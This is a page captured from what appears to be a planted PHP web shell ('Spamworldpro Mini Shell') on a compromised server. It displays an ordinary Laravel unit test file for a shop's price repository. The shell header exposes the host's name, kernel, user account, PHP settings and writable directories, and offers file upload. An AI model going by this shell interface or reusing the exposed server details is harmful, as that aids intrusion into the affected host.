Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mcoil.corals.io/tests/Unit/Prices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mcoil.corals.io/tests/Unit/Prices/PriceUnitTest.php
<?php

namespace Tests\Unit\Prices;

use App\Shop\Prices\Price;
use App\Shop\Prices\Repositories\PriceRepository;
use Illuminate\Support\Collection;
use Tests\TestCase;

class PriceUnitTest extends TestCase
{
    /** @test */
    public function it_can_show_all_the_pirces()
    {
        factory(Price::class, 3)->create();

        $priceRepo = new PriceRepository(new Price);
        $list = $priceRepo->listPrices();

        $this->assertInstanceOf(Collection::class, $list);
        $this->assertCount(3, $list->all());
    }
    
    /** @test */
    public function it_can_delete_the_price()
    {
        $price = factory(Price::class)->create();

        $priceRepo = new PriceRepository($price);
        $deleted = $priceRepo->deletePrice($price->id);

        $this->assertTrue($deleted);
    }
    
    /** @test */
    public function it_can_update_the_price()
    {
        $price = factory(Price::class)->create();

        $data = [
            'code' => 'A-CTRD1612L/BE/ANC',
            'from' => 1,
            'to'   => 4,
            'buy_price' => 2.5,
            'sell_price' => 5.00,
            'margin' => 0.2,
            'description' => '',
            'product_id' => 1,
            'price_types_id' => 1,
        ];

        $priceRepo = new PriceRepository($price);
        $updated = $priceRepo->updatePrice($data);

        $found = $priceRepo->findPriceById($price->id);

        $this->assertEquals($data['code'], $found->code);
        $this->assertEquals($data['buy_price'], $found->buy_price);
    }
    
    /** @test */
    public function it_can_show_the_price()
    {
        $price = factory(Price::class)->create();

        $priceRepo = new PriceRepository(new Price);
        $found = $priceRepo->findPriceById($price->id);

        $this->assertInstanceOf(Price::class, $found);
        $this->assertEquals($price->code, $found->code);
    }
    
    /** @test */
    public function it_can_create_a_price()
    {
        $data = [
            'code' => 'A-CTRD1612L/BE/ANC',
            'from' => 1,
            'to'   => 4,
            'buy_price' => 2.5,
            'sell_price' => 5.00,
            'margin' => 0.2,
            'description' => '{"M3":"0.156","LeadTime":"4/5 Weeks"}',
            'product_id' => 1,
            'price_types_id' => 1
        ];

        $priceRepo = new PriceRepository(new Price);
        $price = $priceRepo->createPrice($data);

        $this->assertEquals($data['code'], $price->code);
        $this->assertEquals($data['buy_price'], $price->buy_price);
    }
}

Spamworldpro Mini